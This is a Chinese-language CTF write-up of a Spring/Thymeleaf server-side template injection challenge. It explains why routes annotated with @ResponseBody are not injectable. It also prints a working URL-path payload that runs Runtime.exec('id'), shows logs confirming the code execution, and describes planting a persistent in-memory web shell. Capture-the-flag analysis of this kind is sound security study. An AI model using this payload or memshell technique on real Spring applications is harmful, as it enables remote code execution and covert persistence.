Print document Edit on github

Web-FindIT赛题复盘

本文主要参考《2022 网鼎杯玄武组-you can find it 题解—Spring通用MemShell改造》参考进行复盘;

实际上我们一开始拿到jar包也是尝试几个路由是否存在SSTI漏洞,不过CTF基本上通用的payload1基本上是不生效的:

2022-09-21-10.46.42.png

# SSTI payload及绕过复现

我们直接把payload2拿过来:

/doc/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::main.x

可以看到console报错UnixProcess说明命令注入成功了的:

2022-09-22 06:50:03.785  INFO 1 --- [nio-8080-exec-2] c.e.demo.controller.IndexController      : info: __${T (java.lang.Runtime).getRuntime().exec("id")}__::main.x
2022-09-22 06:50:04.004 ERROR 1 --- [nio-8080-exec-2] org.thymeleaf.TemplateEngine             : [THYMELEAF][http-nio-8080-exec-2] Exception processing template "doc/java.lang.UNIXProcess@1331b3c8::[main]": Error resolving template [doc/java.lang.UNIXProcess@1331b3c8], template might not exist or might not be accessible by any of the configured Template Resolvers

org.thymeleaf.exceptions.TemplateInputException: Error resolving template [doc/java.lang.UNIXProcess@1331b3c8], template might not exist or might not be accessible by any of the configured Template Resolvers

不过我们同样尝试写入payload注入内存马时却报错

2022-09-22-15.13.04.png

我们观察一下发现和之前的console报错时不一样的:

Error resolving template [doc/java.lang.UNIXProcess@1331b3c8]

成功应该是注入代码成功被识别成模版,然后汇报模版解析过程的问题(如上);而失败则并未被识别成模版(如下):

java.lang.IllegalArgumentException: Invalid template name specification:

不过通过以上的payload确实是可以成功RCE的:

2022-12-02-10.47.59.png

我们需要根据参考2生成内存马,实现效果如下:

image.png

所以下一步是需要根据payload生成持久化的shell3,因为机器不出网,且没有回显;

所以我们尝试搞清楚:

  • 1.用了@ResponseBody注解的路由,不存在漏洞;
  • 2.没有使用@ResponseBody进行注解的路由,因此即使没有return情况下也是可注入的。

如果

# @ResponseBody

我们找到了官方文档4一些大牛的解答,就不在这里班门弄斧了,引用《Thymeleaf SSTI漏洞分析》参考原文5

  • 问题1:

配置了ResponseBody注解确实无法触发,经过调试在applyDefaultViewNameModelAndViewNull,而非ModelAndView对象,所以

hasView()会异常,不会设置视图名。

更多移步配置ResponseBody或RestController注解

  • 问题2:

引用参考文章第四章分析了SpingMVC视图解析的过程,在解析视图首先获取返回值并封

装为ModleAndView,而在当前当前环境中并没有返回值,按理说ModelAndView应该为空,为什么还能正常得到ModleAndView呢?

原因主要在DispatcherServlet#doDispatch中,获取ModleAndView后还会执行applyDefaultViewName方法。

更多移步urlPath中传入Payload可以执行

参考